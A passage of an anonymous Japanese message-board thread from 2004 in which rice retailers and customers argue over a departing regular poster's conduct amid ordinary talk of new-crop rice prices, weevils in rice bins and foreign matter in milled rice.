325 :頼りない米屋:04/08/01 13:31
新スレの件。まだ立てていません。もう少し様子を見ます。
それでは、さようなら。立てたらお会いしましょう。

326 :もぐもぐ名無しさん:04/08/01 14:04

誰が立てても変わらないとおもうけど。
もし立てると重複ですよ。

327 :もぐもぐ名無しさん:04/08/01 14:25
新スレ立てて逃げなきゃならないほど荒れてるとは思いませんが。
スレをあまりコントロールしようと思わない方が健全では?
頼りない米屋さんはトリップつけてください。ご自分だけでなく、皆さんのためにも。

328 :もぐもぐ名無しさん:04/08/01 14:50
>>324
新スレよりもトリップをつけたほうが良くね?
つーか、荒らしが常駐してる以上、トリップはつけて欲しい。

329 :もぐもぐ名無しさん:04/08/01 16:01
>>324
少し荒らしや煽りに神経質すぎるかもしれませんね。
2チャンネルにはつきものなので、大らかにやり過ごしませんか。
それから異見を「煽り」と断定するのはどうでしょうか?
真面目なレスのつもりで書かれた人だったら?
それこそスレ主さんの「煽り」発言にもなりかねない。
各レスへの判断は読まれる方個々にまかせて、スレ上で判決を下すようことはやめませんか。
掲示板ってそういうものだと思うんですが。


330 :もぐもぐ名無しさん:04/08/01 19:52
新スレでもなんでもいいけど
頼りない米屋はとりあえず消えてくれ。
発端の詐欺行為といい、ちとこの男おかしいよ。


331 :もぐもぐ名無しさん:04/08/01 20:40
また「夜の部」が始まりましたか。
んではまた明日。

332 :おしおし ◆JJ0OOlYqwY :04/08/01 22:57
しらんこっちゃ。ゆるしてね。

333 :おしおし ◆JJ0OOlYqwY :04/08/01 22:58
誤爆であります。
ごめんなさいです。

334 :もぐもぐ名無しさん:04/08/01 23:48
>>330
藻前も消えてくれ。

335 :もぐもぐ名無しさん:04/08/02 05:07
都合が悪くなったらけつまくって逃げるタチの悪さ。
やっぱりその程度の奴か。

336 :もぐもぐ名無しさん:04/08/02 07:46
早朝カキコごくろうさんです。
仕事のない香具師はイイネ、時間が有効につかえて。

それじゃみなさん、今週もがんばりましょう。

337 :もぐもぐ名無しさん:04/08/02 08:16
借金抱えて首吊りそうな米屋が何を言ってんだかw

338 :もぐもぐ名無しさん:04/08/02 08:31
破れうちわで煽るフリしても涼しくなんねぇよ。

339 :もぐもぐ名無しさん:04/08/02 08:52
お前等冷静になれ。

米屋が借金だらけなのは確かだ。それを取り上げて悪口言ったら可哀想じゃないか。
嫁も来ないし、働けど働けど暮らしが楽にならず年中殆ど休みなし。

それを分かっていて米屋になったんだから強い信念は持ってるはずだ。
「明日はきっと楽になれる。」とな。

340 :もぐもぐ名無しさん:04/08/02 09:30
なんか先週の千里子スレみたいになってきたな。
ドキドキ

341 :もぐもぐ名無しさん:04/08/02 09:37
米屋の中にも真面目に頑張ってる人もいると思うが
問題は頼りない米屋のように損得しか考えていない
常識外れが存在し、知識があるというだけで
そんな犯罪者でも崇めたてられるお馬鹿な業界体質が問題だな。
この板見てると米屋の腐れ具合がよくわかるよ。
犯罪に対してフォローはしても批判するヤツがいないんだもの
不正表示はじめ悪い事でも米屋みんなで渡れば怖くないってか?

まともな米屋さんはここで頼りない米屋を参考になんかしていると
客商売の本質部分を見失い守銭奴的な発想や対応しかできなくなっちゃうよ。
こいつより仕入れが高くても正直と真面目をもっとうに頑張ってください。

342 :もぐもぐ名無しさん:04/08/02 09:57
弁護するわけじゃないがお前らにゃほとほとうんざりだな
仕切り価格を間違えた売った奴がお馬鹿なだけだろが
買った頼米は人間性はともかく犯罪者って図式で吊るし上げで楽しいか?
ならばネットパソコンに殺到した奴は?知ってて殺到したんだぜ
じゃスーパーの特売に殺到するあほは?皆死刑か?
どうせお前等休みに任せてあちこちのスレ潰して喜ぶ連中だろ
それに乗せられる馬鹿もいるし どうでもいいが長く続いた良スレもついに終わりだな
スレ主が居なくなったら荒れる=法則 知らんか?頼米がコントロールしてたから
11俵まで長く良スレで続いたんだぜ 馬鹿のおかげで台無しだろが
頼米が嫌いなら来なければいいだけ 批判する馬鹿も荒らし
昔から来てる奴は分かってるって頼米よ 奴はもう再会しないんじゃないか?ほとほと
うんざりしたみたいだから ここいらで善良な昔からのファンが立ち上がらないと
ほんとに奴はこのまま消えそうだぜ 皆立ち上がれ 馬鹿を追い出せ
頼米呼び戻そうぜ!

343 :もぐもぐ名無しさん:04/08/02 11:07

ポカーンな気分・・・・・・本人だろ?
このスレよくROMったけど、こういうとこが鼻につく。



344 :もぐもぐ名無しさん:04/08/02 11:45
近所のスーパーで宮崎県産こしひかり新米16年産が入荷していたので買ってきた。
やっぱ新米はおいしいね。
これからどんどん15年産の価格が下落していくんだろうね。
安かったら、15年産を買うんだけど。


345 :もぐもぐ名無しさん:04/08/02 12:14
>>343
今日は月曜日だあね。昔からROMってるならこの意味分かるよなゲラゲラ
俺はずっと黙って見てたがもう黙ってられん、参戦すっぞ。夏厨は市ねゴルァ
>>341
知った口聞いていかにもまともな事言ってるつもりか?お前の根底に流れているのは
被害者意識の妄想だろっ。ここのスレ主は崇高で善良な芸術家じゃねぇっつーの。
だがまともな米穀業やって商売人として生きてるんだろが。本人だって崇高に祭り上げられるのを
望んでるんじゃない、もっと現実的に内情と情報を消費者に知らせたいだけだろが。
それも分からん藻米さんこそ文脈読めないアホちゃう?



藻  米  等  い  い  か  げ  ん  に  し  ろ


346 :もぐもぐ名無しさん:04/08/02 12:19
>>345
おおお 油だあ〜〜
悲しいほどのアホ登場!!!!!


347 :もぐもぐ名無しさん:04/08/02 12:30
結局、345みたいに気が狂ったとしか思えない、同じ穴**しかいないのかねぇ?

極わずかながらここにもいると思われる、まともな米屋さん。
>ここで頼りない米屋を参考になんかしていると
>客商売の本質部分を見失い守銭奴的な発想や対応しかできなくなっちゃうよ。
お客様がいなければ、損もしないし得もしないんだから。。。




348 :もぐもぐ名無しさん:04/08/02 12:40
このスレッドは、夏休み期間中につき
怒れる皆様のために完全解放されました。

レスタイ道りの進行は、もう少し涼しくなってからとなるようです。
新米収穫期までの大事な時期ではありますが、スレ主不在の
アナーキーな雰囲気をしばらくの間お楽しみくださいませ。

ちなみに当方スレ主ではありませんので、
まったく無責任な発言であることをお許しください。

349 :もぐもぐ名無しさん:04/08/02 13:02
>>345
あのさ、言いたかないけど、月曜が定休日なのは知ってるさ。
スレ主が仕事場のPCで書いてるってのも。だが、こんな状況の場合、
普通はのぞきたくなるだろうよ。俺、なんて言われてんのかってさ。
ノートも使ってるって書き込みあったしよ。
342は本人じゃなきゃアホくさくて書かない内容だろうさ。
要はさ、今までも推定スレ主が名無しで書き込んで荒らしを呼ぶことがあったんじゃないかと
言いたいわけだ。そういうのやめたらいいんじゃないの?

350 :もぐもぐ名無しさん:04/08/02 13:04
新米は待望するところだが精米すれば
糠になるような未熟米は要らない。

351 :もぐもぐ名無しさん:04/08/02 14:05
>>345
犯人であることを隠したがるのは、犯人以外あり得ない。
てのが刑事コロンボにおける推理の基本だったりする。

352 :もぐもぐ名無しさん:04/08/02 16:08
最近は上がった下がった、損した得した、みたいな内輪スレで
消費者的にはつまらんから、いっそのこと止めてしまえば?
ある人の決め台詞じゃないが、ここは2ちゃんです。
都合の悪い事を荒らし、厨で排除するのなら
パスワード制の掲示板でも行って、お粗末米屋だけで談合してればw

353 :もぐもぐ名無しさん:04/08/02 17:22
>昔から来てる奴は分かってるって頼米よ 
>ここいらで善良な昔からのファンが立ち上がらないと
>ほんとに奴はこのまま消えそうだぜ 皆立ち上がれ 頼米呼び戻そうぜ!

王様、服を着ないと風邪ひきますよ。



354 :もぐもぐ名無しさん:04/08/02 19:31
>>353
汚いケツを見せるな。
パンツはけ。
あおりにも荒らしにもなってやしない。
ただの粘着だ。

355 :もぐもぐ名無しさん :04/08/02 19:53
はいはい、みんな、夏厨はスルー汁!
大体何処あたりで湧いた虫か見当はつくんだし。

最近おコメの花も香ばしいなぁ。今年は豊作だといいけど。
(関東地方にて)

356 :もぐもぐ名無しさん:04/08/02 20:24
        ,:::-、       __
      ,,r::::::::::::〈:::::::::)、______,ィ::::::ヽ
      〃::::::::::::;r‐''´:::::::::::::::::::::ヽ::ノ
    ,'::;'::::::::::::::/::::::::::::::::::::::::::::::::::::
     l::::::::::::::::::l::::::::::●::::::::::::::●:::::ji
    |::::::::::::::::::、::::::::::::::( _●_)::::::,j:l  倉庫にバポナ吊るしてる米屋が居るのはここクマ?
    }::::::::::::::::::::ゝ、::::::::::|∪|_ノ::;!
.    {::::::::::::::::::::::::::::`='=::ヽノ:::::/     
    ';::::::::::::ト、::::::::::::::i^i::::::::::::/
      `ー--' ヽ:::::::::::l l;;;;::::ノ
          ヽ::;;;」


357 :もぐもぐ名無しさん:04/08/02 23:09
お願い  消えて!
口だけでなく、ホントに消えてね!! スレ主様。


358 :もぐもぐ名無しさん:04/08/02 23:13
おまいが、消えろ!

359 :もぐもぐ名無しさん:04/08/02 23:34
質問
計量米びつに虫が湧いて困ってます。
虫除けをぶら下げても次から次に湧いてきます。
どうしたら良いでしょうか助けてください。
回答
虫が湧くと次から次へと卵を産みます。
安易な方法に頼らず米びつごと洗剤でゴシゴシ水洗いして
夏の間日干しにしましょう。
約1ヶ月程充分日干しにすれば虫と卵は完全に除去されます。
その間は決して使用しないように。
また湧きますから・・・・・・・・・・・・・・・・・・・・・・

360 :もぐもぐ名無しさん:04/08/03 01:25
山田君、>>355の座布団全部とって>>359にやって。

361 :もぐもぐ名無しさん:04/08/03 02:10
>>359
虫除けのつもりが、虫除け以上に害のある薬剤ってケースが多々あります。
また、ご質問の米ビツメーカーは自社利益追求しか脳のない
知る人ぞ知る粗悪メーカーですので米びつごと廃棄がベストですね。
頼りないメーカーの製品は消費者にとっては迷惑以外のなにものでもないですね。

362 :もぐもぐ名無しさん:04/08/03 02:44
いまいち。

363 :もぐもぐ名無しさん:04/08/03 04:25
ジャスコで、宮崎産新米コシヒカリ5キロ2180円買ってきた・・・

高かったかしら?
新潟の古米より新米の方が美味しいのかしら?

364 :もぐもぐ名無しさん:04/08/03 04:40
>>363

> 高かったかしら?
> 新潟の古米より新米の方が美味しいのかしら?

これは個人の嗜好の問題ですから一概には言えませんが今年の宮崎は全体として良いみたいですよ。
価格的には、GSMでしたらそんなものかも?


365 :もぐもぐ名無しさん:04/08/03 06:52
>>363
ダイエーではそれより300円高かったよ。
新米は千葉ふさおとめが出るまで待ちます。

366 :もぐもぐ名無しさん:04/08/03 07:55
>363
西友だと1980円だったよ。

367 :もぐもぐ名無しさん:04/08/03 09:28
なんで一人芝居やってんの?


368 :もぐもぐ名無しさん:04/08/03 09:42
白米より玄米の方が値段高いのは何故なんでしょう?

369 :もぐもぐ名無しさん:04/08/03 09:59
>>368

同じ生産年度、産地、品種、ブレンド率、重量なら玄米のほうが1割ほど安いはず。
違うものを比べてるんではないの?
商品詳細ぷりーず。

370 :もぐもぐ名無しさん:04/08/03 11:34
>>369
あー…どう見ても言葉が足りないですね、すみません。
多分別の米なんだろうと思います。
先日、ディスカウントショップ行った時、白米の最安値が
10kg3000円位で、玄米の方が高かったんです。
そこまで安いのが無かったと言った方が正確かもしれません。
で、その時一緒にいた友人に「何でだろう?」
と聞かれたんですが、私にもわからなかったので…

371 :もぐもぐ名無しさん:04/08/03 11:43
【産地偽装】"味が余り変わらないと思った"コメ86トン販売 新潟産に福島産混ぜる
http://news13.2ch.net/test/read.cgi/newsplus/1091450781/

ブレンドがヘタだったってこと?

372 :もぐもぐ名無しさん:04/08/03 14:04
>>370
10kg3000円級は平成8年産も混じろうかというブレンド米。
玄米は少ししか売れないのでブレンドはしない。
で正直な価格が出てくる。
>>371
確たる証拠を添えての内部告発だな。
数量が比較的少なかったからお目こぼしあったんだろう。
リンク先によるとA県産にB県産を8割混ぜてA県産だと。


373 :もぐもぐ名無しさん:04/08/03 17:13
>>4
胚芽だけを販売もしている。回収して米油を作ったりもする。



374 :もぐもぐ名無しさん:04/08/04 00:16
【衛星リモートセンシング】コメの味、宇宙から色で診断 伊奈町の水田を衛星から撮影・茨城(04/08/03)
http://news16.2ch.net/test/read.cgi/scienceplus/1091526900/

375 :もぐもぐ名無しさん:04/08/04 00:28
どことなく萎える。やみくもな嵐じゃなかったのに。
ちゃんと原因があったのにウヤムヤなのねん。
スレ主さん、砂かけて埋めてしまう気? だったらバイバイかな。

376 :もぐもぐ名無しさん:04/08/04 06:58
いやいや これでいいんです。
ある意味、あらしと変わりない要素をお持ちのスレ主は
このまま消えてもらったほうが平和です。
本人も表面上は引退したがってましたから・・・
知識も経験も彼に劣らない、それ以上の米屋さんは
いくらでもいらっしゃると思います。
そしてなによりも人格、性格の良い米屋さんに
レスは少なくてもマッタリやってもらえればいいと思います。

平和になったところで「いやー大変でした」みたいな感じで、
そしらぬ顔で登場されたりすると、かえってあれると思いますので・・・
失礼ですが、あらし誘発剤にはこのまま完全引退していただき
静かに見守っていただいたほうがよろしいのではないかと思います。
ただ、彼は逆にあらし化しそうな性格ですのでそこだけが怖いです。
どうぞやすらかに・・・


377 :もぐもぐ名無しさん:04/08/04 08:57
新米って、宮崎の次は何処の産地のが流通するの?


378 :もぐもぐ名無しさん:04/08/04 12:56
>>377
千葉産がおすすめです。
ふさおとめ こしひかりと続きます。                                                               

379 :もぐもぐ名無しさん:04/08/04 14:21
しかし、最後まで卸に金払ったとは言いませんでしたねー彼。
嘘はつけないと言う事か(=着服)



380 :もぐもぐ名無しさん:04/08/04 14:54
千葉県鴨川 刈り取り始まる 
長狭(ながさ)米として流通。
ttp://www.yomiuri.co.jp/national/news/20040804i506.htm
いよいよ新米シーズン突入。
買うぞ。

381 :もぐもぐ名無しさん:04/08/04 21:56
終わりにしよう。スレ主はどう考えても出て来にくいだろうし、
常連さんはきっとレスつけにくいよ。出てこられてもなんかねえ。
「スレ主」って誰が言い始めたか知らないけど変でしょ、掲示板では。
その呼び方が彼がこのスレを、いつまでも私物化した原因かもね。
どなたかお米屋さん、新しいタイトルでスレ立てを。


382 :もぐもぐ名無しさん:04/08/04 22:03
頼りない米屋さん。登場してください。これからも勉強させてください。

383 :もぐもぐ名無しさん:04/08/04 22:06
頼りない米屋さん。登場してください。勉強させてください。

384 :もぐもぐ名無しさん:04/08/04 22:09
>>376
スレ10までの実績を考えての発言か。
おまいに、3年間スレ主になる根性があるのか。
やはり、このすれ主は「頼りない米屋」だよ。
いくら夏房が騒いでも、総合評価から言っても、実績がないのでダメだな。


385 :もぐもぐ名無しさん:04/08/04 22:12
本人でしょ?
スレ主の権限で「○○○」みたいな発言をよくしてたもの。
ちょっと勘違いしてる人だったね。

386 :もぐもぐ名無しさん:04/08/04 22:14
おまいな、状況を見れ!

387 :もぐもぐ名無しさん:04/08/04 22:27
あんなん 心配せんでも出てくるって!

388 :もぐもぐ名無しさん:04/08/04 23:25
>>385
禿同です。あの方、だんだん痛くなってきたね。
2ちゃんスレに実績とは。

389 :もぐもぐ名無しさん:04/08/04 23:43
>>頼米さん
ここは2ch
あなたから給料をもらって、仕方なく従ってる社員じゃないんだから
おかしいことはおかしいってみんな言うって。。

390 :もぐもぐ名無しさん:04/08/05 00:32
>>382>>383を、もしも本人が書き込んでたとしたら、
ちょっとゾクッとするかも。ちがうよねえ。え? そうなの?

391 :もぐもぐ名無しさん:04/08/05 01:36
荒れたら放置なりスルーするのは2ちゃんの基本だよな?
こんな過疎板でIDも出なけりゃ誰だってジサクジエンやりたい放題だよな?
何でこんなに一方的に頼りない米屋が叩かれてんだ?

392 :もぐもぐ名無しさん:04/08/05 02:26
>>391

>>137をまず読め。

393 :もぐもぐ名無しさん:04/08/05 08:11
おいおい・・137読んだが、何が悪い??コレを叩いている香具師は無職君か?

請求間違えた方が悪いに決まってるでしょ???ナニ甘い事言ってんの?

社会人経験あんの?それとも自分が同じようなミスして首にでもなった?プ

394 :もぐもぐ名無しさん:04/08/05 12:34
393はまさかマジではないと思いますので大目にみてやってください。

 

395 :もぐもぐ名無しさん:04/08/05 13:51
137ってネタだろ?
善人ぶってレスしてるのがイヤになったから、悪者になって退散したかっただけ。

396 :もぐもぐ名無しさん:04/08/05 15:07
>>395
すごい想像力だね。てか、すごい妄想。
ヤツが消えたので、それならそれで結果オーライ。
ご本人でしたらごめんなさいne。

397 :もぐもぐ名無しさん:04/08/05 15:19
千葉産新米
早く出てこい。

398 :もぐもぐ名無しさん:04/08/05 15:35
>>397
9日にも検査始まるらしいんで、
再来週にはふさおとめ出回るでしょうね

137はいけんしましたが、笑えました
米屋ってだいたいこんな感じ
営業はお客に嫌われちゃだめよね

399 :395:04/08/05 15:40
>>396
本人じゃねーよ。
漏れは初期スレの頃には参加してたが、すぐ飽きた。
なので、米屋もいくらなんでも飽きる頃だろうと思っただけ。

400 :もぐもぐ名無しさん:04/08/05 17:10
米屋ですけど、私は結構勉強になりました。
一般の人からみたら問題のある内容もあったとはおもいますが、
商売をやっている人なら納得できる程度のことだったと思います。

100円で売っているモノを50円で買って150円で売るぐらいが理想ですけどなかなかうまいこといきません。
頼米さんはヒントをくれた気がします。

また、復活することを期待しています。


401 :もぐもぐ名無しさん:04/08/05 17:36
そんな話じゃないだろよ。
つまりさ、137の米をいくらで消費者に売る気?ってことだ。
このご時世、卸しの懐具合も消費者の懐も想像できんかねってこと。
そこに怒りがあるんだと思うよ。

402 :もぐもぐ名無しさん:04/08/05 18:30
>401
そんな小っちゃいことで怒って粘着してるの?

普通に売るだろ、普通のコメなんだから。
イレギュラーで安く仕入れられたモノは激安放出せなあかんのか?あほか(w

403 :もぐもぐ名無しさん:04/08/05 18:44
>>376の言ってた事が現実になってきたか。>>393

可哀想な奴だったのかもしれんな頼りない米屋w

404 :もぐもぐ名無しさん:04/08/05 18:53
 無職、オタク、ひきこもりの夏厨に粘着された、頼りない米屋が哀れでなりません。

2チャンにくだらない叩きレスあげする位ならバイトでもやりなさい。

405 :もぐもぐ名無しさん:04/08/05 19:07
クスクス

406 :もぐもぐ名無しさん:04/08/05 19:13
402と404は頼りない米屋さんだと思いますが(違ったら違うとレスください)
厳しい時代を乗り切るには、個を考えるだけではダメだということですよ。
仕事(商売)は点で成り立ってはいない。安心して潤うには、周辺も潤おう状況をつくる。
お客様も卸しもスタッフという考え方ですね。いかがですか。

407 :もぐもぐ名無しさん:04/08/05 19:31
>>406
訳のわからない事を書くな。何を言いたいんだよ。

米異スレになってしまったな。
米屋スレだけに仕方ないか。



408 :もぐもぐ名無しさん:04/08/05 19:37
小売りでも、発想の転換はたった一度ではだめなんですよ。
どうやら戦略の話をするスレではなかったようですね。
失礼しました。

409 :もぐもぐ名無しさん:04/08/05 20:11
>>408
ご託は結構だけどどこをどう読めば
>>402 >>404が頼りない米屋さんと推定できるんだよ。

商売の鉄則は仕入れ値にかかわらず売れる価格で売る事。
精一杯儲ける事が卸にもお客さんにも迷惑をかけない事になるんだよ。
まして従業員にも。

410 :もぐもぐ名無しさん:04/08/05 20:12
詐欺まがいの行為がおかしくないってヤツが現れ始めたから
米屋業界は腐ってるなって思ったが、
よく考えるとあいつの自演なのかもしらんな。
あの異常な感覚の持ち主は滅多にいないよな。
オレも自営やってるがあのケースは連絡して訂正が当然だろ。
営業が嫌いとか、ガキみたいな次元で処理するかい?普通?
まあ異常だわな。

411 :もぐもぐ名無しさん:04/08/05 20:18
>>410
「当然だろ?」とか言われてもねぇ・・・

412 :もぐもぐ名無しさん:04/08/05 20:21
406はいい事言った。
その辺がわかってないんだよね。彼は
あれじゃ みんな表面上の付き合いしかしないよ。
そんなさみしいヤツだから予想どおり
逆あらしが急激に湧いてきたなあ


413 :もぐもぐ名無しさん:04/08/05 20:26
>>410
自営で引きこもりやってるリア厨ならこの程度のレスだろうな。
米は糞になるウン命なんだな。

414 :もぐもぐ名無しさん:04/08/05 20:28
鉛を食う虫は米とは異なる糞をするそうだ。

415 :もぐもぐ名無しさん:04/08/05 21:26
頼りない米屋
形振りかまわずだなw みんな気づいてるよ。

416 :もぐもぐ名無しさん:04/08/05 22:03
書かないだけで、みんな同じようなことしてるだろ。

417 :もぐもぐ名無しさん:04/08/06 00:59
両者とも痛いな。

こんなに本人ばっかりいると思えるあたりがさ。

418 :もぐもぐ名無しさん:04/08/06 01:20
10K2280円ってありえるの!?
いつもスーパーでかってるのは2K980円シリーズとか
だから、それでも安い(味はともかく)とおもうのに・・

419 :もぐもぐ名無しさん:04/08/06 01:33
あまり耳にした事が無い、函館産きらら○○(○のなかには数字がはいってた
これって美味しいの?
価格帯は1.9Kが1000円ほど


420 :もぐもぐ名無しさん:04/08/06 07:20
>>418
あり得る。敬遠しよう。
>>419
きらら397 味はそれなり、ネーミングで成功した。
後一ヶ月ほどたてば美味しい安い新米が出てくる。


421 :頼りない米屋:04/08/06 09:27
正真正銘の本人ですが(w 
久しぶりに見に来ました。
1)私、自作自演など・・面倒な遊びは致しません。
2)3年も居ると煽り・批判慣れして心に響かないんですね。
  スルーのみです。しても良いけどもう少し頑張って(w
3)盆前納品の準備と新米仕入れ情報と売掛焦げ付き回収で
  忙しく、新スレは9月1日以降の予定ですが、考慮中です。
  この様子では、そのまま消滅が良いかと思ってます。
4)最後の消費者情報。
  今年は新米でもドンドン下がりますよ。9月中旬から。
  10月になれば新米100%表示で10kgで、裾は特売2280円から。
  北陸コシは定価で4000円以下あたりか?新潟コシだけは情報収集中。
  秋田産こまち・宮城ひとめ・山形はえぬきの主要銘柄は3700円あたりか?
  以上です。

それでは続きをどうぞご自由にお楽しみ下さい。


422 :もぐもぐ名無しさん:04/08/06 11:24
頼りないお米屋さんご本人が名乗って降臨されたようなのでお聞きします。
1)〜3)はスルーさせてもらいます。
4)の消費者情報ですが、初めの価格が安ければ買いだめも出来ますが
どんどん下がるなら、買いだめするなと言う事ですね?

423 :もぐもぐ名無しさん:04/08/06 11:52
値段以前に買いだめすると、精米日から日が立ってまずくなるよ>>422
味にこだわらないなら古米でいいわけだし。

424 :頼りない米屋:04/08/06 12:01
>>422
そうです。
8月お盆過ぎの「千葉ふさおとめ」から始めたとしても
せいぜい2週間分止まりを目安に買って下さい。10月末まで。
もう一つのポイントは今年は「精米業者欄を良く見る事」
15年産も含めて古米を山ほど持って苦しんでいるのは
1)卸会社・経〇連 2)産地農協 です。
つまり今年は信用度は逆の現象が起きます。
在庫を持たないOO米穀店のほうが有利です。
古米処分に「DNAスルー可能な古米混入」が横行しそうな気配。

ごめんね、煽りが来るからこの辺で消えますんで・・・・(w

425 :もぐもぐ名無しさん:04/08/06 12:13
久しぶりに見に来たんだ?w

426 :田舎の米屋:04/08/06 12:55
>>424
お久しぶりです。今昼休みでのぞいています。
弊社では、15年産は一部を除いて(すし屋用)在庫はありません。
さすがウチの社長です。
新米鹿児島こし、宮崎こし、徳島こしとのせかえて、
販売は好調です。
>15年産も含めて古米を山ほど持って苦しんでいるのは
1)卸会社・経〇連 2)産地農協 です。
ウチの社長は当たってると言っています。

427 :もぐもぐ名無しさん:04/08/06 13:11
>>頼りない米屋
コテハンでは久しぶりだな。
スルーして、わざわざ書きこまなくてもいいのに
書きこんでるあたりに心境があらわれてますね。
言葉とは正反対で響きまくってるんだねw

荒しに徹っして出てこないでくれる?
荒れるから・・・


428 :もぐもぐ名無しさん:04/08/06 13:43
スレが荒れてもスレ主が困らなければ問題ないだろうに

429 :もぐもぐ名無しさん:04/08/06 13:48
お米屋さんにお聞きしたいのですが
まったく個人に対する売り上げというのは
全売り上げに対して何パーセント位なんですか?
もちろん立地条件、営業内容によって大きく違うと思いますが
こういう掲示板以外で情報交換する場をつくるというのは不可能なんですか?

430 :しがない米屋:04/08/06 18:01
当社の個人に対する売上は10%ぐらいですかね。10年前は50%ぐらいあったみたいです。
あと、こういう掲示板以外でと言うことですが、匿名であれば可能かと
どこの米屋か分かってしまうと、おそらく腹のさぐり合いになってしまいここみたいな話しは出来ないと思います。

やっぱし大手卸は15年・古米を抱え込んでるんですか?
卸の営業と話してると「うちは大丈夫ですよ〜」って言うんですけど強がりなんですね

431 :もぐもぐ名無しさん:04/08/06 18:18
三河屋って米屋か?
三平は米屋か?

432 :もぐもぐ名無しさん:04/08/06 18:30
>>431
サザエさん?
あれは酒屋

433 :321:04/08/06 23:49
(´・ω・`)ショボーン

ここにいるお米屋さんは、
クレーマーと一般客の区別もつかんのだろうか・・・・・・・
そのつもりでないのなら私の質問に答えてくれ。

434 :もぐもぐ名無しさん:04/08/07 00:02
>>433
そりゃ、スレが荒れてたときの質問だったからねぇ。
スルーっていうか、ただ単に見落としでそ。
おまいさんのいいたいことは分かるが、
>クレーマーと一般客の区別もつかんのだろうか・・・・・・・
こんな物言いじゃ、答える方も答える気がなくなるんじゃない?

435 :もぐもぐ名無しさん:04/08/07 00:44
ここに書いてる人たちって、やっぱ米が好きなの?
漏れは特に好きってほどではないので、週に1〜2回しか食ってない。
米にこだわりを持てる人が、ある意味うらやましいよ。

436 :もぐもぐ名無しさん:04/08/07 00:44
>>433
しばらく荒れてたからね。っていうか、まだ収まってないし。

素人ですが、このスレ読んでてわかった範囲内で答えましょう。
米屋さんには「選別機」や「石抜き機」ってのがあるらしいよ。
でも、100%ってのは無理みたい。
米に限らずたいがいの食品は、異物混入を100%押さえるのは無理みたい。
だから、異物混入があったら謝ると同時に、
100%は無理ですって事も言うみたいな回答も見かけた。
髪の毛はどうなんだろ?
食品を扱うところは帽子かぶってる人が多いけど、
それは髪の毛が入らないようにってことでもあるんだよね。

437 :もぐもぐ名無しさん:04/08/07 00:59
マジレスしますが。
異物混入完全撲滅は不可能です。

つるっパゲ義務づけたいんだけどムチャだって・・・

438 :もぐもぐ名無しさん:04/08/07 01:11
>>321
んで、改めて。
異物除去のために、農家も農協も、もちろん米屋も、各過程で、一生懸命気を遣ってます。
でも本音を言うなら、どうしたって無理です。一膳の米粒の数を数えたのがどこかにありましたっけね。
ロシアンルーレットみたいなものでしょうか・・・

そらもう、炊きあがったご飯を「いただきまーす」ってクチにして、ガリッて・・・
それで歯が欠けた、歯が折れた、歯が抜けた(ホントかよって思うでしょうが、そーまで言われたことあります)
苦情を頂戴するのは、至らなかったと申し訳なく思います。
寄せられたら心からお詫びします。それしかないです・・・

頼米さんじゃないけど、私の意見を書き込みました。
私自身、自分とこで精米して、石の小粒噛んで、イヤーな思いしたことありますから、なおさらです。
髪の毛の方はまだないですけど。
というか、精米所を実際見ていただければおわかりになるでしょうが、
そうとう短く軽い毛でないと、米に混入する隙間は無いと思うのですが・・・
これは規模にもよりましょうかね。

439 :321:04/08/07 01:16
>>434
気を悪くされるかもしれんけど、
ただこのままじゃスレタイを反故することになるし、
一応本人の私がきつめに突っ込ませてもらいましたということで。

440 :もぐもぐ名無しさん:04/08/07 02:16
また321ですが、
即レスどうもです。
現場知らないからあまり大きな事言えないけど、
100%は無理という割り切りはちょっと意外かな。
もとは農作物ということで無理なものは無理なんだからしょうがないけど
そうそう避けて通れる食品じゃないし(嫌味でいっている訳ではなく)

>というか、精米所を実際見ていただければおわかりになるでしょうが、
>そうとう短く軽い毛でないと、米に混入する隙間は無いと思うのですが・・・
それは精米時はもとより、
袋詰め時でも隙間はないということでしょうか?

441 :もぐもぐ名無しさん:04/08/07 08:10
>>440
異物混入
昔に比べれば無視できるぐらいだよ。
米粒の識別も出来るのだからね。


442 :もぐもぐ名無しさん:04/08/07 09:12
過去ログ見ました。コーヒー米屋さんには笑わせて頂きました。アリガトね。

で、皆さんは頼りない米屋さんの正体わかったのかな?
中部地方というのは嘘だよね。
元○○○の○○さんだね。間違いない。

443 :もぐもぐ名無しさん:04/08/07 09:51
>>442
推測?そーすは?

444 :もぐもぐ名無しさん:04/08/07 10:33
そろそろ一皮剥けた「コーヒー米屋」さんの出番だぜ!

広尾の夢の続きを聞かせてくれ!

445 :もぐもぐ名無しさん:04/08/07 13:24
実際100%異物除去は無理ですけど、お客さんにそんなことは言わないですよ。
ただし、相当怒っていたら詳しく説明はします。

100%無理なのは農産物だけじゃなく食品全般に言えることだとは思います。
ビールの中からアルコールを完全に除去できないですし。
なので、いかに限りなく0%に近づけるかですね

446 :田舎の米屋:04/08/07 14:00
>>440
異物のことですが、
弊社でも限りなく努力をして異物を除去しているのですが・・・
今現在では米虫ですね、工場ではコンプレッサーで吹いて、
帰る頃には一粒も残らないくらい掃除をしているつもりですが、
やっぱりいます。
弊社ではお客様から苦情があった場合は交換しています。
交換したお米は人力ふるいでふるって、
原料玄米から再投入します。
あとは、糠のかす?粒上のぬか、
石は聞きません。髪の毛も。

447 :もぐもぐ名無しさん:04/08/07 14:25
おい米屋
一般客には不味い米を食べさせてるんだろうけど美味いのはどこで消費されるのか教えれ


448 :もぐもぐ名無しさん:04/08/07 14:32
農家だろ

449 :もぐもぐ名無しさん:04/08/07 14:39
>一般客には不味い米を

根拠はあるのか?

450 :もぐもぐ名無しさん:04/08/07 16:49
>一般客には不味い米を

こんな事してたらあっという間にお店潰れるよ。
あなたが不味い米を買ってるだけではないですか?


451 :もぐもぐ名無しさん:04/08/07 16:57
>>447-450が、全て自作自演に見える…いかんな、こんなに疑り深くなっちゃ。

452 :もぐもぐ名無しさん:04/08/07 17:14
釣りだよ、釣り
適当にリリースしようぜ

453 :もぐもぐ名無しさん:04/08/07 17:22
中間チェック
調子に乗ってコテハンで出て来るなよ。頼米

454 :もぐもぐ名無しさん:04/08/07 18:31
        │\     
        │  \  ..(゚∀゚ ) アヒャヒャ
        │   \ ..// )
        │      」」」
        │    ┏━━━━━━━━
        │    ┃>>453専用釣り堀
        │    ┃
        │  ..┏┻━━━━━━━━━
        │  ..┃
        │  ..┃
〜〜〜〜〜~│〜〜〜〜〜〜〜〜〜〜〜〜〜〜
        │
        │
        │
        │        
        │      _  '
        │   /、ィ._ ヽ
        │ Σ {゚/  )ノ 
        │      ソ 
        │
        ∂        

455 :もぐもぐ名無しさん:04/08/07 23:26
調子に乗ってんの、お前だろが



と、つれないときにはXXしてみる。

456 :もぐもぐ名無しさん:04/08/08 06:57
       __ 
